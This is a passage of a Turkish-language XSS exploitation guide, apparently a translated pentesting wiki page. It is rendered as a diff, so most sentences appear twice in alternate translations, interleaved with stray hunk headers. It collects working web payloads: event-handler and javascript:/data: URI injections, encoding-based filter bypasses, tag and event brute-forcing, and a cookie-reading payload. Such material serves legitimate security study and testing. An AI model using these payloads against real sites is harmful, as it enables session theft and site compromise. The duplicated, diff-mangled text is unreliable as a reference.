Birçok web sayfası, **yürütülecek işlevin adını parametre olarak kabul eder**. Vahşi doğada sıkça görülen bir örnek, genellikle şöyle bir şeydir: `?callback=callbackFunc`.
Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eder**. Vahşi doğada sıkça görülen bir örnek, genellikle şöyle bir şeydir: `?callback=callbackFunc`.
Bir kullanıcının doğrudan verdiği bir şeyin yürütülmeye çalışıldığını anlamanın iyi bir yolu, **parametre değerini değiştirmek** (örneğin 'Vulnerable' olarak) ve konsolda şu gibi hatalara bakmaktır:
Bir kullanıcının doğrudan verdiği bir şeyin çalıştırılmaya çalışıldığını anlamanın iyi bir yolu, **parametre değerini değiştirmek** (örneğin 'Vulnerable' olarak) ve konsolda şu gibi hatalara bakmaktır:
![](<../../.gitbook/assets/image (711).png>)
Eğer zayıfsa, sadece şu değeri göndererek bir uyarıyı **tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu endpoint'lerin genellikle yalnızca harflere, rakamlara, noktalara ve alt çizgilere izin vermek için içeriği **doğrulayacağı** çok yaygındır (**`[\w\._]`**).
Eğer zayıfsa, sadece şu değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Bununla birlikte, bu endpoint'lerin genellikle yalnızca harfleri, rakamları, noktaları ve alt çizgileri (**`[\w\._]`**) kabul etmek için içeriği **doğrulayacağı** çok yaygındır.
Ancak, bu sınırlamayla bile bazı işlemler gerçekleştirmek mümkündür. Bu, geçerli karakterleri kullanarak DOM'daki herhangi bir öğeye **erişebileceğiniz** anlamına gelir:
![](<../../.gitbook/assets/image (747).png>)
Bu işlem için bazı yararlı işlevler:
Bunun için bazı yararlı fonksiyonlar:
```
firstElementChild
lastElementChild
@ -119,7 +119,7 @@ parentElement
```
Ayrıca **Javascript fonksiyonlarını tetiklemeyi** de deneyebilirsiniz: `obj.sales.delOrders`.
Ancak genellikle belirtilen fonksiyonu yürüten uç noktalar, pek ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökten diğer sayfalar** daha fazla eylem gerçekleştirmek için **daha ilginç bir DOM'a** sahip olacaktır.
Ancak genellikle belirtilen fonksiyonu yürüten uç noktalar, pek ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökten diğer sayfalar** daha fazla eylem gerçekleştirmek için daha ilginç bir DOM'a sahip olacaktır.
Bu nedenle, bu zafiyeti farklı bir DOM'da **kötüye kullanmak** için **Aynı Kök Yöntem Yürütme (SOME)** sömürüsü geliştirildi:
@ -137,7 +137,7 @@ Bir saldırganın kontrol ettiği gibi **güvensiz bir şekilde** bazı **verile
### **Evrensel XSS**
Bu tür XSS'ler **her yerde** bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafından sömürülmesine bağlı değildir, **herhangi bir** **bağlamda** bulunabilirler. Bu tür **keyfi JavaScript yürütme** hatta **RCE** elde etmek, istemci ve sunucularda **keyfi dosyaları okumak** ve daha fazlasını elde etmek için kötüye kullanılabilir.\
Bu tür XSS'ler **her yerde** bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafından sömürülmesine bağlı değildir, **herhangi bir** **bağlamda** olabilirler. Bu tür **keyfi JavaScript yürütme** hatta **RCE** elde etmek, istemci ve sunucularda **keyfi dosyaları okumak** ve daha fazlasını elde etmek için kullanılabilir.\
Bazı **örnekler**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -154,8 +154,8 @@ Bazı **örnekler**:
## Ham HTML içine enjekte etme
Girişiniz **HTML sayfası içinde yansıtıldığında** veya bu bağlamda HTML kodunu kaçırabilir ve enjekte edebilirseniz, yeni etiketler oluşturmak için `<`'yi kötüye kullanıp kullanamayacağınızı kontrol etmeniz gereken **ilk** şey budur: Sadece o **karakteri yansıtın** ve HTML kodlamasının yapılıp yapılmadığını veya silinip silinmediğini veya değişiklik yapılmadan yansıtılıp yansıtılmadığını kontrol edin. **Yalnızca son durumda bu durumu kötüye kullanabilirsiniz**.\
Bu durumlar için ayrıca [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md)**'ı da göz önünde bulundurun**.\
Girişiniz **HTML sayfasının içine yansıtıldığında** veya bu bağlamda HTML kodunu kaçırabilir ve enjekte edebilirseniz, yeni etiketler oluşturmak için `<`'yi kötüye kullanıp kullanamayacağınızı kontrol etmeniz gereken ilk şey budur: Sadece o **karakteri yansıtın** ve HTML kodlamasının yapılıp yapılmadığını veya silinip silinmediğini veya değişiklik yapılmadan yansıtılıp yansıtılmadığını kontrol edin. **Sadece son durumda bu durumu kötüye kullanabilirsiniz**.\
Bu durumlar için ayrıca [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md)**'ı da göz önünde bulundurun.**\
_**Not: Bir HTML yorumu**** ****`-->`**** ****veya**** ****`--!>`** ile kapatılabilir._
Bu durumda ve siyah/beyaz listeleme yapılmamışsa, şu gibi yükler kullanabilirsiniz:
@ -164,16 +164,16 @@ Bu durumda ve siyah/beyaz listeleme yapılmamışsa, şu gibi yükler kullanabil
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Ancak, etiket/özellik siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **zorla denemeniz gerekecektir**.\
Hangi etiketlerin izin verildiğini **belirledikten sonra**, bulunan geçerli etiketlerin içinde **hangi özelliklere/etkinliklere zorla denemeniz** gerektiğini görmek için.
Ancak, etiket/özellik siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **zorlamalısınız**.\
Hangi etiketlerin izin verildiğini **belirledikten sonra**, bulunan geçerli etiketler içindeki özellikleri/etkinlikleri zorlamalı ve bağlamı nasıl saldırabileceğinizi görmelisiniz.
### Etiketler/Etkinlikler zorla deneme
### Etiketler/Etkinlikler zorlaması
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Kopyala etiketleri panoya**_ tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve WAF tarafından zararlı bulunmayan herhangi bir etiketin olup olmadığını kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm etkinlikleri zorla deneyebilirsiniz** (aynı web sayfasında _**Kopyala etkinlikleri panoya**_ tıklayın ve önceki işlemi aynı şekilde takip edin).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ düğmesine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve WAF tarafından zararlı bulunmayan herhangi bir etiketin olup olmadığını kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm etkinlikleri zorlayabilirsiniz** (aynı web sayfasında _**Etkinlikleri panoya kopyala**_ düğmesine tıklayın ve önceki işlemi aynı şekilde uygulayın).
### Özel etiketler
Geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve JS kodunu `onfocus` özelliği ile çalıştırabilirsiniz. XSS isteğinde, sayfanın **o nesneye odaklanmasını sağlamak** ve kodu **çalıştırmak** için URL'yi `#` ile bitirmeniz gerekmektedir:
Geçerli bir HTML etiketi bulamazsanız, **özel bir etiket oluşturmayı** deneyebilir ve JS kodunu `onfocus` özelliği ile çalıştırabilirsiniz. XSS isteğinde, sayfanın **o nesneye odaklanmasını** ve kodu **çalıştırmasını** sağlamak için URL'yi `#` ile bitirmeniz gerekmektedir:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -232,7 +232,7 @@ onerror=alert`1`
### Uzunluk atlatma (küçük XSS'ler)
{% hint style="info" %}
Farklı ortamlar için daha küçük XSS payload'larına [**buradan**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**buradan**](https://tinyxss.terjanq.me) ulaşılabilir.
Farklı ortamlar için daha küçük XSS yükleri [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
@ -242,23 +242,23 @@ Farklı ortamlar için daha küçük XSS payload'larına [**buradan**](https://g
```
### Tıkla XSS - Clickjacking
Eğer zafiyeti sömürmek için **kullanıcının bir bağlantıya veya önceden doldurulmuş bir forma tıklaması gerekiyorsa**, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (sayfa savunmasızsa).
Eğer zafiyeti sömürmek için **kullanıcının bir bağlantıya veya bir forma tıklaması gerekiyorsa** [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (sayfa savunmasızsa).
### İmkansız - Dangling Markup
### İmkansız - Sarkan İşaretleme
Eğer sadece **bir HTML etiketi oluşturmanın ve JS kodunu yürütmek için bir özniteliği kullanmanın imkansız olduğunu düşünüyorsanız**, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kontrol etmelisiniz çünkü zafiyeti **JS** kodu yürütmeksizin **sömürebilirsiniz**.
Eğer sadece **bir HTML etiketi oluşturmanın ve JS kodunu yürütmek için bir özniteliği kullanmanın imkansız olduğunu düşünüyorsanız**, [**Sarkan İşaretleme'yi kontrol etmelisiniz**](../dangling-markup-html-scriptless-injection/) çünkü zafiyeti **JS** kodu yürütmeksizin **sömürebilirsiniz**.
## HTML etiketi içine enjekte etme
### Etiketin içine/enjeksiyondan kaçma
Eğer **bir HTML etiketinin içindeyseniz**, deneyebileceğiniz ilk şey etiketten kaçmaktır ve JS kodunu yürütmek için [önceki bölümde](./#injecting-inside-raw-html) belirtilen bazı teknikleri kullanmaktır.\
Eğer **bir HTML etiketinin içindeyseniz**, deneyebileceğiniz ilk şey etiketten kaçmaktır ve JS kodunu yürütmek için [önceki bölümde](./#injecting-inside-raw-html) belirtilen tekniklerden bazılarını kullanmaktır.\
Eğer **etiketten kaçamıyorsanız**, etiketin içine yeni öznitelikler oluşturarak JS kodunu yürütmeyi deneyebilirsiniz, örneğin (_bu örnekte çift tırnaklar özniteliğinden kaçmak için kullanılmıştır, girişiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmayacaktır_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
**Stil etkinlikleri**
**Stil Olayları**
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -270,14 +270,14 @@ Eğer **etiketten kaçamıyorsanız**, etiketin içine yeni öznitelikler oluşt
```
### Öznitelik İçinde
Öznitelikten kaçamıyor olsanız bile (`"` kodlanıyor veya siliniyor), **hangi özniteliğe** değerinizi yansıttığınıza bağlı olarak **tüm değeri kontrol ediyor olmanız veya sadece bir kısmını** kontrol ediyor olmanıza bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıkladığında keyfi kodu çalıştırabilirsiniz.\
Başka bir ilginç **örnek**, `href` özniteliğidir, burada `javascript:` protokolünü kullanarak keyfi kodu çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
Öznitelikten kaçamıyor olsanız bile (`"` kodlanıyor veya siliniyor), **hangi özniteliğe** değerinizi yansıttığınıza bağlı olarak, **tüm değeri kontrol ediyor olmanız veya sadece bir kısmını** kontrol ediyor olmanız durumuna bağlı olarak bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklanıldığında keyfi kodları çalıştırabilirsiniz.\
Başka ilginç bir **örnek** ise `href` özniteliğidir, burada `javascript:` protokolünü kullanarak keyfi kodları çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
**HTML kodlama/URL kodlama kullanarak etkinlik içinde atlatma**
HTML etiketlerinin öznitelik değerlerindeki **HTML kodlanmış karakterler** çalışma zamanında **çözümlenir**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (payload kalın olarak belirtilmiştir): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Geri Dön </a>`
**Her türlü HTML kodlamanın geçerli olduğunu** unutmayın:
**Her türlü HTML kodlamasının geçerli olduğunu** unutmayın:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -304,9 +304,9 @@ HTML etiketlerinin öznitelik değerlerindeki **HTML kodlanmış karakterler**
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Özel Protokoller Özniteliğin İçinde
### Özel Protokoller Özniteliğinde
Bazı yerlerde **keyfi JS kodunu çalıştırmak** için **`javascript:`** veya **`data:`** protokollerini kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirirken bazıları gerektirmeyebilir.
Bazı yerlerde **keyfi JS kodunu çalıştırmak** için **`javascript:`** veya **`data:`** protokollerini kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek bazıları ise gerektirmeyecektir.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -328,7 +328,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Bu protokolleri enjekte edebileceğiniz yerler**
Genel olarak, `javascript:` protokolü, `href` özniteliğini kabul eden **herhangi bir etikette** kullanılabilir ve **çok sayıda** etikette **`src` özniteliğini** kabul eder (ancak `<img`)
Genel olarak, `javascript:` protokolü, `href` özniteliğini kabul eden herhangi bir etikette kullanılabilir ve `src` özniteliğini kabul eden çoğu etikette kullanılabilir (ancak `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -354,17 +354,17 @@ _**Bu durumda, önceki bölümden HTML kodlaması ve Unicode kodlaması hilesi d
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ayrıca, bu durumlar için başka bir **güzel hile** var: **Girdiniz `javascript:...` içinde olsa bile URL kodlanmış olsa bile, çalıştırılmadan önce URL kodu çözümlenecektir.** Dolayısıyla, **dize** içinden **tek tırnak** kullanarak **kaçış** yapmanız gerekiyorsa ve **URL kodlanmış olduğunu** görüyorsanız, **önemli olmadığını** hatırlayın, **çalıştırma** zamanında **tek tırnak** olarak **yorumlanacaktır.**
Ayrıca, bu durumlar için başka bir **güzel hile** var: **Girdiniz `javascript:...` içinde olsa bile URL kodlanmış olsa bile, çalıştırılmadan önce URL kodu çözümlenecektir.** Dolayısıyla, **dize** içinden **tek tırnak** kullanarak **kaçış** yapmanız gerekiyorsa ve bunun **URL kodlanmış olduğunu** görüyorsanız, **önemli olmadığını** hatırlayın, **çalıştırma** zamanında **tek tırnak** olarak **yorumlanacaktır.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Not almak için `URLencode + HTMLencode`'yi herhangi bir sırayla kullanmaya çalışırsanız **çalışmayacak**, ancak **payload** içinde **karıştırabilirsiniz**.
Dikkat edin, **URLencode + HTMLencode**'yi herhangi bir sırayla **kullanmaya çalışırsanız**, **payload**'ı kodlamak **çalışmaz**, ancak **payload** içinde **onları karıştırabilirsiniz**.
`javascript:` ile **Hex** ve **Octal encode** kullanma
`javascript:` ile **Hex** ve **Octal kodlamayı kullanma**
`iframe`'ın `src` özniteliği içinde **HTML etiketlerini çalıştırmak** için **Hex** ve **Octal encode** kullanabilirsiniz:
En azından `iframe`'ın `src` özniteliğinde **HTML etiketlerini yürütmek** için **Hex** ve **Octal kodlamayı** kullanabilirsiniz:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -376,7 +376,7 @@ Not almak için `URLencode + HTMLencode`'yi herhangi bir sırayla kullanmaya ça
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Ters sekme kapma
### Ters sekme yakalama
```javascript
<a target="_blank" rel="opener"
```
@ -406,7 +406,7 @@ Android: %09 %20 %28 %2C %3B
```
### "Kullanılamaz etiketlerde" XSS (gizli giriş, bağlantı, kanonik, meta)
[**buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **gizli girişler kötüye kullanılabilir hale geldi:**
[**buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık gizli girişler kötüye kullanılabilir:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
@ -419,7 +419,7 @@ Ve **meta etiketlerinde**:
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**Buradan**](https://portswigger.net/research/xss-in-hidden-input-fields) alıntı: **Gizli bir özniteliğin içinde XSS yükü** çalıştırabilirsiniz, **kurbanı** **anahtar kombinasyonunu** **ikna edebilirseniz**. Firefox Windows/Linux'ta anahtar kombinasyonu **ALT+SHIFT+X** ve OS X'te **CTRL+ALT+X**'dir. Erişim anahtarı özniteliğinde farklı bir anahtar kullanarak farklı bir anahtar kombinasyonu belirleyebilirsiniz. İşte vektör:
[**Buradan**](https://portswigger.net/research/xss-in-hidden-input-fields): Bir **XSS yükü**nü **gizli bir özniteliğin içinde** çalıştırabilirsiniz, ancak bunun için **kurbanı**, **tuş kombinasyonuna** basmaya **ikna** etmeniz gerekmektedir. Firefox Windows/Linux'ta tuş kombinasyonu **ALT+SHIFT+X** ve OS X'te ise **CTRL+ALT+X**'tir. Erişim anahtarı özniteliğinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -427,7 +427,7 @@ Ve **meta etiketlerinde**:
### Kara Liste Atlatmaları
Farklı kodlama kullanarak birkaç hile bu bölümde zaten açıklandı. Şuraya geri dönün ve nerede kullanabileceğinizi öğrenin:
Farklı kodlama yöntemleri kullanarak birkaç hile bu bölümde zaten açığa çıkarıldı. Nerede kullanabileceğinizi öğrenmek için **geri dönün:**
* **HTML kodlaması (HTML etiketleri)**
* **Unicode kodlaması (geçerli JS kodu olabilir):** `\u0061lert(1)`
@ -441,15 +441,15 @@ Farklı kodlama kullanarak birkaç hile bu bölümde zaten açıklandı. Şuraya
**JavaScript kodu için Atlatmalar**
Aşağıdaki bölümün [JavaScript kara liste atlatma tekniklerini](./#javascript-bypass-blacklists-techniques) okuyun.
Aşağıdaki bölümün [JavaScript kara liste atlatmaları tekniklerini](./#javascript-bypass-blacklists-techniques) okuyun.
### CSS-Araçları
Eğer web sitenin çok küçük bir bölümünde XSS bulduysanız (belki altbilgide bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı alanı değiştirmeyi deneyerek bağlantının tetiklenme olasılıklarını maksimize edebilirsiniz.
Eğer web sayfasının çok küçük bir bölümünde bir **XSS bulduysanız** ve etkileşim gerektiriyorsa (belki alt bilgi kısmında bir onmouseover öğesi olan küçük bir bağlantı), o öğenin kapladığı alanı **maksimize etmek için alanı değiştirmeyi deneyebilirsiniz**.
Örneğin, öğeye şöyle bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ancak, WAF stil özniteliğini filtreliyorsa, CSS Stil Araçları kullanabilirsiniz, böylece örneğin şunu bulursanız
Ancak, WAF stil özniteliğini filtreliyorsa, CSS Stil Araçları kullanabilirsiniz, örneğin
> .test {display:block; color: blue; width: 100%\}
@ -457,7 +457,7 @@ ve
> \#someid {top: 0; font-family: Tahoma;}
Şimdi bağlantımızı değiştirebilir ve şu forma getirebiliriz
Şimdi bağlantımızı değiştirebilir ve şuna getirebiliriz
> \<a href="" id=someid class=test onclick=alert() a="">
@ -465,15 +465,15 @@ Bu hile [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-x
## JavaScript kodu içine Enjekte Etme
Bu durumda **girdiniz**, bir `.js` dosyasının JS kodu içinde veya `<script>...</script>` etiketleri arasında veya JS kodunu yürütebilen HTML etkinlikleri arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacaktır**.
Bu durumda **girdiniz**, bir `.js` dosyasının JS kodu içinde yansıtılacak, `<script>...</script>` etiketleri arasında veya JS kodunu yürütebilen HTML etkinlikleri arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında olacaktır.
### \<script> etiketinden Kaçma
Kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içine yerleştirilirse, kolayca **`<script>` etiketini kapatabilirsiniz**:
Kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` içine yerleştirilmişse, kolayca **`<script>` etiketini kapatmayı** başarabilirsiniz:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Bu örnekte bile **tek tırnak kapatılmamış**. Bu, tarayıcı tarafından önce **HTML ayrıştırmasının** gerçekleştirilmesinden kaynaklanmaktadır, bu işlem sayfa elemanlarını tanımlamayı içerir, içinde betik blokları da bulunur. Gömülü betikleri anlamak ve yürütmek için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.
Bu örnekte bile **tek tırnak kapatılmamış**. Bu, tarayıcı tarafından önce **HTML ayrıştırmasının** gerçekleştirilmesinden kaynaklanmaktadır, bu işlem sayfa elemanlarını tanımlamayı içerir, içinde betik blokları da dahil olmak üzere. Gömülü betikleri anlamak ve yürütmek için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.
### JS kodu içinde
@ -483,10 +483,10 @@ Eğer `<>` temizleniyorsa, girişinizin **bulunduğu yeri kaçırabilir** ve **k
';alert(document.domain)//
\';alert(document.domain)//
```
### Template literals \`\`
### Şablon dizileri \`\`
**Tek ve çift tırnakların** yanı sıra **ters tırnakları** **\` \`** kullanarak **diziler** oluşturmak için JS de kabul eder. Bu, `${ ... }` sözdizimini kullanarak **yerleşik JS ifadelerine** izin verdiği için şablon dizeleri olarak bilinir.\
Bu nedenle, girdinizin ters tırnak kullanan bir JS dizesi içinde **yansıtıldığını** fark ederseniz, `${ ... }` sözdizimini kullanarak **keyfi JS kodunu** yürütmek için kötüye kullanabilirsiniz:
**Tek tırnak** ve **çift tırnaklar** dışında **diziler** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **yerleşik JS ifadelerini** içermelerine izin verdiği için şablon dizileri olarak bilinir.\
Bu nedenle, girdinizin ters tırnak kullanan bir JS dizesi içinde **yansıtıldığını** fark ederseniz, `${ ... }` sözdizimini kullanarak **keyfi JS kodunu** yürütmek için sözdizimini kötüye kullanabilirsiniz:
Bunu kullanarak **kötüye kullanılabilir**:
```javascript
@ -558,7 +558,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript yeni satırlar (from** [**JavaScript yeni satır**](./#javascript-new-lines) **hilesi)**
**JavaScript yeni satırlar (JavaScript yeni satır hilesinden)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -566,7 +566,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
**JavaScript boşlukları**
**JavaScript boşluk karakterleri**
```javascript
log=[];
function funct(){}
@ -730,21 +730,21 @@ top[8680439..toString(30)](1)
````
## **DOM açıkları**
Bir saldırgan tarafından kontrol edilen güvensiz verileri kullanan **JS kodu** bulunmaktadır, örneğin `location.href`. Bir saldırgan, bunu isteğe bağlı JS kodunu yürütmek için kötüye kullanabilir.\
**DOM açıklarının açıklamasının genişletilmesi nedeniyle** [**DOM açıkları bu sayfaya taşındı**](dom-xss.md)**:**
**Saldırgan tarafından kontrol edilen güvensiz verileri** kullanan **JS kodu** bulunmaktadır, örneğin `location.href`. Bir saldırgan, bunu kötü amaçlı JS kodu yürütmek için kullanabilir.\
**[DOM açıklarının açıklamasının genişletilmesi nedeniyle bu sayfaya taşındı**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Orada, **DOM açıklarının ne olduğu, nasıl provoke edildiği ve nasıl sömürüldüğü hakkında detaylı bir açıklama** bulacaksınız.\
Ayrıca, **söz konusu gönderinin sonunda** [**DOM Clobbering saldırıları hakkında bir açıklama**](dom-xss.md#dom-clobbering) bulabilirsiniz.
Orada **DOM açıklarının ne olduğu, nasıl provoke edildiği ve nasıl sömürüldüğü hakkında detaylı bir açıklama** bulacaksınız.\
Ayrıca, **bahsedilen gönderinin sonunda** [**DOM Clobbering saldırıları hakkında bir açıklama**](dom-xss.md#dom-clobbering) bulabilirsiniz.
## Diğer Atlatmalar
### Normalized Unicode
### Normalleştirilmiş Unicode
Sunucuda (veya istemci tarafında) **yansıtılan değerlerin** **unicode normalize edilip edilmediğini** kontrol edebilir ve bu işlevselliği kötüye kullanarak korumaları atlayabilirsiniz. [**Burada bir örnek bulabilirsiniz**](../unicode-injection/#xss-cross-site-scripting).
Sunucuda (veya istemci tarafında) **yansıtılan değerlerin** **unicode normalize edilip edilmediğini** kontrol edebilir ve bu işlevselliği kullanarak korumaları atlayabilirsiniz. [**Burada bir örnek bulabilirsiniz**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL bayrağı Atlatması
```javascript
@ -752,7 +752,7 @@ Sunucuda (veya istemci tarafında) **yansıtılan değerlerin** **unicode normal
```
### Ruby-On-Rails atlatma
**RoR toplu atama** nedeniyle alıntılar HTML'e eklenir ve ardından alıntı kısıtlaması atlatılır ve etiketin içine ek alanlar (onfocus) eklenebilir.\
**RoR toplu atama** nedeniyle alıntılar HTML'e eklenir ve ardından alıntı kısıtlaması atlatılır ve etiketin içine ek alanlar (onfocus) eklenir.\
Form örneği ([bu rapordan](https://hackerone.com/reports/709336)), eğer payload'ı gönderirseniz:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -761,9 +761,7 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Ardından, onfocus özelliği eklenir ve XSS meydana gelir.
### Özel Kombinasyonlar
### Özel kombinasyonlar
```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
@ -793,24 +791,24 @@ Ardından, onfocus özelliği eklenir ve XSS meydana gelir.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS ile başlık enjeksiyonu 302 yanıtında
### XSS with header injection in a 302 response
Eğer **bir 302 Yönlendirme yanıtında başlıklara enjekte edebileceğinizi** fark ederseniz, tarayıcının **keyfi JavaScript'leri çalıştırmasını sağlamayı deneyebilirsiniz**. Bu, modern tarayıcıların HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamadığı için **kolay değildir**, bu yüzden sadece bir çapraz site betik yükü işe yaramaz.
Eğer **bir 302 Yönlendirme yanıtında başlıklara enjekte edebiliyorsanız**, tarayıcının **keyfi JavaScript kodunu çalıştırmasını deneyebilirsiniz**. Bu, modern tarayıcıların HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamadığı için **kolay değildir**, bu yüzden sadece bir çapraz site betik yükü işe yaramaz.
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**bu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) tarayıcının konum başlığında birçok protokolü test edebilir ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**bu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) tarayıcının konum başlığında çeşitli protokolleri test edebilir ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\
Bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`.
### Sadece Harfler, Sayılar ve Noktalar
Eğer **javascript'in çalıştıracağı geri çağrıyı** sadece bu karakterlerle sınırlayabileceğinizi belirtebiliyorsanız, bu davranışı nasıl kötüye kullanacağınızı bulmak için [**bu yazının bu bölümünü okuyun**](./#javascript-function).
Eğer **gerçekleştireceği javascript geri çağrısını** yalnızca bu karakterlerle sınırlayabileceğinizi gösterebiliyorsanız, bu davranışı nasıl kötüye kullanacağınızı bulmak için [**bu gönderinin bu bölümünü okuyun**](./#javascript-function).
### Geçerli `<script>` İçerik Türleri XSS için
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alıntı) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir betik yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
([**Buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **içerik türü** ile bir betik yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:
